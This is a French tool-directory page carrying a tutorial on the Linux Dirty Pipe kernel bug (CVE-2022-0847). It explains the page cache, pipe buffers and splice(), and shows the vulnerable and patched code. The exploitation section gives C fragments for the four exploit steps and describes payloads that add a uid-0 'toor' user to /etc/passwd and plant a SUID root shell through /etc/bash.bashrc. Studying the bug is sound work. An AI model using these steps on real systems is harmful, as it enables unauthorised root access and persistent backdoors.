Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — Exploiting CVE-2022-0847 - written by : Antonius (w1sdom) | Kitploit
Outils/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)

Voir le dépôt
31il y a 6 moisPas encore vérifié

Exploitation du Dirty Pipe du noyau Linux (Bogue logique)


par : Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847) est l'une des vulnérabilités de sécurité les plus importantes dans le noyau Linux 5.8 – 5.15.24, découverte par Max Kellermann en 2022. Cette vulnérabilité permet aux utilisateurs ordinaires (sans privilèges spéciaux) d'écraser des données dans des fichiers qui devraient être en lecture seule. Comprendre les concepts de base

Avant de discuter de Dirty Pipe en détail, voici quelques concepts internes du noyau Linux qui doivent être compris :

1. Pagination
La pagination est un mécanisme de gestion de la mémoire dans le noyau Linux où le système mémoire divise la mémoire physique en petits blocs de taille fixe appelés cadres de page (page frames), et la mémoire virtuelle est divisée en blocs de même taille appelés pages. Ce mécanisme permet au noyau de mapper l'espace d'adressage virtuel des processus vers la mémoire physique de manière non séquentielle, ce qui est crucial pour l'efficacité et la sécurité des systèmes modernes.

2. Page (Mémoire virtuelle)
Sous Linux, une page est la plus petite unité de gestion de la mémoire physique manipulée par le noyau. Analogie : la RAM est comme un livre géant. Une page est une feuille de papier dans ce livre. Le noyau ne déplace pas les données bit par bit, mais feuille par feuille (page par page). Généralement, sur les architectures de systèmes modernes (comme x86_64), la taille standard d'une page est de 4 Ko (4096 octets).

3. Cache de pages
C'est une partie cruciale. Linux ne lit pas les fichiers directement depuis le disque à chaque fois car c'est lent. Le noyau copie le contenu des fichiers dans la RAM, appelé le Cache de pages.

  • Lorsque nous lisons un fichier, le noyau le charge dans le cache de pages.
  • Si un autre processus veut lire le même fichier, le noyau fournit seulement une référence à la page qui existe déjà dans cette mémoire.
Le cache de pages réside dans l'espace noyau.

4. Pipe Buffer
Le tube (pipe) est un mécanisme de communication inter-processus (IPC). En interne, le noyau gère les tubes à l'aide de la structure de données pipe_inode_info. Les données à l'intérieur d'un tube sont stockées dans un « tampon » appelé Pipe Buffer.

  • Tampon circulaire : Le noyau utilise une structure circulaire (anneau) pour gérer ce tampon. Un tampon circulaire est une structure de données qui utilise un seul tableau de taille fixe comme si sa fin était reconnectée à son début. Cela crée un flux de données qui « tourne » indéfiniment.
  • Drapeaux : Chaque tampon possède des attributs ou « drapeaux » qui déterminent son comportement (par exemple, si le tampon peut être fusionné).
Le Pipe Buffer réside dans l'espace noyau.

5. Drapeau de Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
Le drapeau PIPE_BUF_FLAG_CAN_MERGE a été introduit dans le noyau Linux version 5.8. C'est là que se trouve la vulnérabilité principale. Le drapeau nommé PIPE_BUF_FLAG_CAN_MERGE.

  • Sa fonction : Indique au noyau que les nouvelles données écrites dans le tube peuvent être fusionnées dans un tampon existant.
  • Le problème : Avant le correctif Dirty Pipe, le noyau n'effaçait pas correctement (réinitialisait) ce drapeau lors de l'exécution de splice().

6. Splice
splice() est un appel système pour déplacer des données entre deux descripteurs de fichier sans copier les données entre l'espace noyau et l'espace utilisateur. Ceci est souvent appelé un mécanisme de zéro-copie. L'appel système splice() est le « acteur principal » de Dirty Pipe :

  • Au lieu de copier physiquement les données, splice() effectue une optimisation en faisant pointer le Pipe Buffer directement vers la page dans le cache de pages.
  • Cela signifie que le tube ne contient pas une copie des données du fichier, mais seulement un « pointeur » vers la mémoire physique du fichier.

7. Copie sur écriture (CoW)
Le mécanisme de copie sur écriture (CoW) est une stratégie d'optimisation de gestion de la mémoire utilisée par le noyau Linux pour retarder la copie des données jusqu'à ce qu'elle soit absolument nécessaire. La relation entre la copie sur écriture (CoW) et l'exploit Dirty Pipe (CVE-2022-0847) concerne la manière dont un petit bogue dans le noyau Linux « trompe » avec succès le mécanisme CoW, permettant d'écrire des données dans des fichiers qui devraient être en lecture seule.

8. Page sale
Une page sale est une page mémoire en RAM qui a été modifiée par une application, mais les modifications n'ont pas encore été réécrites sur le stockage secondaire (tel qu'un SSD ou un disque dur).

Analyse de la vulnérabilité Dirty Pipe

Dirty Pipe est un type de bogue logique dans la gestion des Pipe Buffers du noyau Linux 5.8 au noyau Linux 5.15.24. Le problème principal réside dans le mécanisme de tube (canal de communication inter-processus) et la manière dont le noyau gère le cache de pages (mémoire qui stocke les copies des données du fichier provenant du disque). Le problème central est un bogue dans le drapeau PIPE_BUF_FLAG_CAN_MERGE.

Le problème principal réside dans l'incapacité du noyau à réinitialiser correctement ce drapeau (bogue logique). Voici l'analyse du code : Dans les fonctions copy_page_to_iter_pipe et push_to_pipe du noyau Linux avant la version 5.16.11, lors des opérations splice, le noyau prépare la structure pipe_buffer mais oublie de nettoyer le membre .flags.

Structure de code vulnérable :

root@kitploit:~
// Emplacement du problème : fs/pipe.c ou include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- CE DRAPEAU N'EST PAS RÉINITIALISÉ
    unsigned long private;
};

Code avant le correctif (vulnérable) :

root@kitploit:~
// lib/iov_iter.c - Avant le correctif CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLÈME : buf->flags N'EST PAS DU TOUT TOUCHÉ
// --------snip----------------------

}

Code après le correctif (corrigé) :

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- RÉINITIALISATION TOTALE À ZÉRO

Pourquoi buf->flags = 0 est-il meilleur que de simplement désactiver un drapeau spécifique ? Parce que pipe_buffer est une structure réutilisée. Si nous désactivons seulement un drapeau (CAN_MERGE), d'autres drapeaux résiduels provenant d'utilisations précédentes du tube (tels que PIPE_BUF_FLAG_GIFT ou d'autres drapeaux personnalisés) pourraient encore subsister et provoquer un comportement étrange ou de nouvelles failles de sécurité à l'avenir. Le mettre à 0 garantit que le tampon est dans un état complètement « propre ».

Pourquoi cela peut-il être exploité ?
Voici le flux d'exploitation de Dirty Pipe :
1. Étape de pollution : L'attaquant insère des données dans le tube via write(). Une opération write() normale définit buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Étape de vidange : L'attaquant lit ces données. Le tampon est maintenant logiquement « vide », mais sa structure existe toujours dans la mémoire du noyau avec le drapeau CAN_MERGE toujours actif.
3. Étape de splice : Lorsque l'appel système splice() mappe un fichier en lecture seule vers un tube, la fonction copy_page_to_iter_pipe() est appelée. En raison du bogue ci-dessus, elle remplit buf->page avec la page mémoire du fichier original mais ne réinitialise pas buf->flags.
4. Exécution : Le noyau pense que ce tampon de fichier peut encore être fusionné. La prochaine écriture dans le tube ne créera pas un nouveau tampon, mais modifiera directement la page mémoire (cache de pages) qui a été mappée plus tôt.

À ce stade, les données de l'attaquant sont déjà stockées dans la RAM. Une page en RAM dont le contenu diffère de ce qui se trouve sur le disque est appelée une « Page sale ». Si cette étape est atteinte avec succès, cela signifie que l'exploitation a réussi ! Une fois le cache de pages modifié, l'effet est instantané. Si nous écrasons /etc/passwd dans la RAM, nous pouvons immédiatement exécuter su root à ce moment précis.

Exploitation de Dirty Pipe

Pour l'exploitation de Dirty Pipe, nous n'avons pas besoin de désactiver les protections du noyau car toutes les protections du noyau sont inappropriées pour empêcher ce bogue logique. Pour exploiter le bogue logique de page sale, notre exploit effectuera les étapes suivantes :

Étape 1. Préparer le tube et le remplir jusqu'à ce qu'il soit plein dans le but de déclencher le drapeau PIPE_BUF_FLAG_CAN_MERGE.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

Étape 2. Vider le tube.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
Étape 3. Utiliser splice() pour insérer les données du fichier cible dans le tube.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
Étape 4. Écrire les données de la charge utile dans le tube.
root@kitploit:~
write(p[1], payload, strlen(payload));

Code d'exploitation complet pour Dirty Pipe Le code d'exploitation complet est disponible sur https://github.com/bluedragonsecurity/dirtypipe2

Remarque : Le code d'exploitation complet contient des fonctions pour la validation de la version du noyau, la préparation du tube, l'injection de charge utile, et deux méthodes d'exploitation différentes ciblant /etc/passwd et /etc/bash.bashrc.

Méthodes d'exploitation

L'exploit ci-dessus utilise 2 charges utiles différentes avec l'objectif que si la première charge échoue, elle sera enchaînée par la seconde.
Charge utile 1 : Écrire dans /etc/passwd pour ajouter un nouvel utilisateur nommé 'toor' avec l'uid 0. Si cette charge réussit, nous pouvons immédiatement obtenir un shell root.
Charge utile 2 : Vise à déposer un shell bash SUID dans /tmp/x. Spécifiquement pour la seconde charge, elle doit attendre que l'utilisateur root du système se connecte car la charge pour déposer le shell SUID est injectée dans /etc/bash.bashrc. Sous Linux, les commandes contenues dans /etc/bash.bashrc sont exécutées par chaque utilisateur qui se connecte au système au moment de la connexion.

Test de l'exploit

Dans cet exemple, j'ai utilisé le noyau Linux 5.13 tournant sur Lubuntu 20.04.5 dans VirtualBox en tant qu'OS invité et l'OS hôte est Kali Linux 2025.4. Sur la machine Lubuntu 20.04.5, compilez l'exploit :

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

Exécutez l'exploit :
root@kitploit:~
  ./dirtypipe2

et enfin, nous avons obtenu un shell root :

Références

  • Divulgation originale : https://dirtypipe.cm4all.com/
  • CVE-2022-0847 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Correctif du noyau Linux : commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • Code d'exploit : https://github.com/bluedragonsecurity
Télécharger l’outil